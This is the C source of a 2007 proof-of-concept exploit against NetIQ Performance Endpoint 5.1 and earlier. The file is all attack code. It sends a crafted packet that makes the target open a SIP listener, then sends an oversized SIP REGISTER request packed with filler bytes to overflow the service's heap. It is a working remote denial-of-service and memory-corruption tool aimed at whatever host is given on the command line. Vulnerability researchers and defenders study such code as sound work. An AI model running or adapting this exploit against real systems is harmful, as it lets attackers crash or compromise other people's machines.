/* endpoint-sip-heap.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * NetIQ Performance Endpoint <=5.1 SIP remote heap overflow POC
 * by mu-b - Wed Oct 31 2007
 *
 * $Id: endpoint-sip-heap.c 12 2012-08-17 08:31:11Z mu-b $
 *
 * - Tested on: NetIQ Performance Endpoint 5.1 (win32)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define MAX_FILL_SIZE   0x2000
#define FILL_EXPAND     400
#define FILL_SIZE       0x1000
#define FILL_BYTE       0x41

#define SIP_PORT_OFFSET 20

#define DEF_PORT        10115
#define PORT_ENDPOINT   DEF_PORT
#define PORT_SIP        6969

static char pkt_siplisten[] =
  "\x00\x1B"                          /* pkt len            */
  "\x3E"                              /* opcode             */
  "\x07\x14\x43\x1A"                  /* verify_get_id (1)  */
  "\x00"
  "\x00"
  "\x00\x03"
  "\x00"
  "\x08"                              /* SIP_START_LISTEN   */
  "\x00\x00"
  "\x00\x03"
  "\x00"
  "\x00\x00"
  "\x00\x00"                          /* SIP port number */
  "\x00\x03"
  "\x00"
  "\x00\xAA";

static char pkt_sip[] =
  "REGISTER /digit-labs.org SIP\r\n"
  "User-Agent: NetIQ SIP Agent\r\n"
  "Content-Length: 256\r\n";

static int sock_send (int fd, char *src, int len);
static int sockami (char *host, int port);
static void endpoint_sip_listen (char *host);
static void endpoint_sip_overflow (char *host);

static int
sock_send (int fd, char *src, int len)
{
  int n;
  if ((n = send (fd, src, len, 0)) < 0)
    {
      perror ("send()");
      exit (EXIT_FAILURE);
    }

  return (n);
}

static int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd;

  fflush (stdout);
  if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      perror ("connect()");
      return (-1);
    }

  return (fd);
}

static void
endpoint_sip_listen (char *host)
{
  int fd;

  printf ("** connecting to %s:%d...", host, PORT_ENDPOINT);
  if ((fd = sockami (host, PORT_ENDPOINT)) < 0)
    {
      fprintf (stderr, "endpoint_sip_listen: sockami failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("done\n");

  *(unsigned short *) &pkt_siplisten[SIP_PORT_OFFSET] = htons (PORT_SIP);
  sock_send (fd, pkt_siplisten, sizeof (pkt_siplisten) - 1);

  sleep (20);
  close (fd);
}

static void
endpoint_sip_overflow (char *host)
{
  char sbuf[MAX_FILL_SIZE], *ptr;
  struct sockaddr_in saddr;
  struct hostent *hp;
  int fd, i, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&saddr, 0, sizeof saddr);
  memcpy ((char *) &saddr.sin_addr, hp->h_addr, hp->h_length);
  saddr.sin_family = AF_INET;
  saddr.sin_port = htons (PORT_SIP);

  /* formulate request */
  ptr  = sbuf;
  ptr += snprintf (ptr, sizeof sbuf, "%s", pkt_sip);

  for (i = 0; i < FILL_EXPAND; i++)
    {
      ptr += snprintf (ptr, MAX_FILL_SIZE - (ptr - sbuf), "c=\r\n");
      if (ptr - sbuf > FILL_SIZE)
        {
          fprintf (stderr, "endpoint_sip_overflow: ARGH overflow\n");
          exit (EXIT_FAILURE);
        }
    }

  /* insert our overflow string!$%&! */
  *ptr++ = '=';
  memset (ptr, FILL_BYTE, (FILL_SIZE - (ptr - sbuf) - 3));
  ptr   += (FILL_SIZE - (ptr - sbuf) - 3);
  *ptr++ = '\r';
  *ptr++ = '\n';

  n = sendto (fd, sbuf, ptr-sbuf, 0, (struct sockaddr *) &saddr, sizeof saddr);
  if (n < 0 || n != ptr - sbuf)
    {
      fprintf (stderr, "endpoint_sip_overflow: sendto %d != %d\n", n, ptr - sbuf);
      exit (EXIT_FAILURE);
    }
}

int
main (int argc, char **argv)
{
  printf ("NetIQ Performance Endpoint <=5.1 SIP remote heap overflow PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  printf ("* starting SIP listener...\n");
  endpoint_sip_listen (argv[1]);
  printf ("* done\n\n");

  printf ("* overflowing SIP listener...\n");
  endpoint_sip_overflow (argv[1]);
  printf ("* done\n\n");

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}
